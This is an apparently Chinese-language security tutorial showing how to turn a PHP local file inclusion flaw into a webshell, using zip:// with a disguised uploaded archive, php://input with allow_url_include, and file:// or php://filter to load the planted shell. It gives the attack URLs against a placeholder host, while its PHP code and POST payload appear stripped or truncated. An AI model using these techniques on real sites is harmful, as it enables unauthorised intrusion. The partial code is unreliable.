php伪协议的使用[获得webshell]

一张简单的图就能看懂

php伪协议的使用[获得webshell]_第1张图片
Paste_Image.png

更详细的解读:http://www.freebuf.com/column/148886.html

如何获得一个webshell?

假设文件包含漏洞文件test.php的后台代码为:


  1. 如果该站点有文件上传功能,则可以结合上传功能和本地文件包含漏洞获得webshell,下面提供使用zip://协议的一种方法
    具体步骤:(此处用上传图片功能举例,具体上传的绕过在此处不考虑)
  • 新建一个shell.php

  • 把shell.php,压缩成shell.zip,修改拓展名为shell.jpg,然后上传,假设上传的目录为upload
  • 则webshell为:
http://xxxxx/test.php?file=zip://upload/shell.jpg%23shell.php
#xxxxx为目标ip或者域名

2.如果该站点没有文件上传功能,但是allow_url_include=On的话,可以使用php://input在目标机的一个可写目录下面写一个shell.php

  • 先查看allow_url_include的状态,这个可以查看phpinfo里面的信息,不然就先假设它是On吧
  • 找到目标机上一个可写的目录,这里假设为/root/hello
  • 使用firefox里面的hackbar插件,或者burpsuite代理
#url
http://xxxxx/test.php?file=php://input
#POST
')?>
php伪协议的使用[获得webshell]_第2张图片
Paste_Image.png
php伪协议的使用[获得webshell]_第3张图片
Paste_Image.png
  • 发现成功在/root/hello里面得到了shell.php
  • 然后此处要连接shell.php,但是直接访问http://xxxxx/../../../root/hello/shell.php是不行的,此处建议使用file://或者php://filter
#file
http://xxxxx/test.php?file=file:///root/hello/shell.php
#php://filter
http://xxxxx/test.php?file=php://filter/resource=/root/hello/shell.php

这样就能成功获得websehll了~当然,如果allow_url_fopen=On的话,也可以用data://生成shell.php

你可能感兴趣的